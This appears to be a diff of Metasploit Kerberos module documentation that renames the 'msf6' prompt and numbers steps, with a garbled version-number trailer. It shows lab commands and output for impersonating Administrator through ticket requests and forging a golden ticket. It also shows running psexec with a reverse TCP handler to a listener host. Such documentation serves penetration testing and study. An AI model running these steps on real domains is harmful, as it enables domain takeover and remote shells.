+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator action=GET_TGS spn=cifs/dc02.mylab.local KrbUseCachedCredentials=false password=<redacted>
 [*] Running module against 10.0.0.24

 [+] 10.0.0.24:88 - Received a valid TGT-Response
@@ -258,7 +258,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 [+] 10.0.0.24:88 - Received a valid TGS-Response
 [*] 10.0.0.24:88 - TGS MIT Credential Cache saved to /home/msfuser/.msf4/loot/20221104183538_default_10.0.0.24_mit.kerberos.cca_849639.bin
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) > loot
+msf auxiliary(admin/kerberos/get_ticket) > loot

 Loot
 ====
@@ -274,7 +274,7 @@ host             service  type                 name  content                   i
 TGS impersonating the Administrator account:

 ```msf
-msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=serviceA password=123456 action=GET_TGS spn=cifs/dc02.mylab.local impersonate=Administrator
+msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=serviceA password=123456 action=GET_TGS spn=cifs/dc02.mylab.local impersonate=Administrator
 [*] Running module against 10.0.0.24

 [*] 10.0.0.24:88 - Getting TGS impersonating Administrator@mylab.local (SPN: cifs/dc02.mylab.local)
@@ -284,7 +284,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do
 [+] 10.0.0.24:88 - Received a valid TGS-Response
 [*] 10.0.0.24:88 - TGS MIT Credential Cache saved to /home/msfuser/.msf4/loot/20221201210211_default_10.0.0.24_mit.kerberos.cca_757041.bin
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/kerberos/get_ticket) > loot
+msf auxiliary(admin/kerberos/get_ticket) > loot

 Loot
 ====
@@ -298,16 +298,16 @@ host             service  type                 name  content                   i
 TGS using a previously forged golden ticket:

 ```
-# Forge a golden ticket
-msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator
+# 1. Forge a golden ticket
+msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN aes_key=dac659cec15c80bb2bc8b26cdd3f29076cff84da7ab7ec6cf9dfc2cafa33e087 domain_sid=S-1-5-21-2771926996-166873999-4256077803 domain=dev.demo.local spn=krbtgt/DEV.DEMO.LOCAL user=Administrator

 [*] TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin
 [*] Auxiliary module execution completed


-# Request a silver ticket:
+# 2. Request a silver ticket:

-msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
+msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
 [*] Running module against 10.10.11.5

 [*] 10.10.11.5:88 - Using cached credential for krbtgt/DEV.DEMO.LOCAL@DEV.DEMO.LOCAL Administrator@DEV.DEMO.LOCAL
@@ -317,9 +317,9 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5
 [+] 10.10.11.5:88 - Received a valid delegation TGS-Response
 [*] Auxiliary module execution completed

-# Use psexec:
+# 3. Use psexec:

-msf6 exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1
+msf exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1

 [*] Started reverse TCP handler on 192.168.123.1:4444
 [*] 10.10.11.5:445 - Connecting to the server...
@@ -101,7 +101,7 @@ No other options are used in this action.
 **Without Key**

 ```msf
-msf6 auxiliary(admin/kerberos/inspect_ticket) > run TICKET_PATH=/path/to/ticket
+msf auxiliary(admin/kerberos/inspect_ticket) > run TICKET_PATH=/path/to/ticket
 Primary Principal: Administrator@WINDOMAIN.LOCAL
 Ccache version: 4

@@ -134,7 +134,7 @@ Creds: 1
 **With Key**

 ```msf
-msf6 auxiliary(admin/kerberos/inspect_ticket) > run AES_KEY=4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326 TICKET_PATH=/path/to/ticket
+msf auxiliary(admin/kerberos/inspect_ticket) > run AES_KEY=4b912be0366a6f37f4a7d571bee18b1173d93195ef76f8d1e3e81ef6172ab326 TICKET_PATH=/path/to/ticket
 Primary Principal: Administrator@WINDOMAIN.LOCAL
 Ccache version: 4

--- a/Show More
+++ b/Show More
@@ -1 +1 @@
 .2.8
 .3.8
@@ -1 +1 @@
 .2.5
 .3.8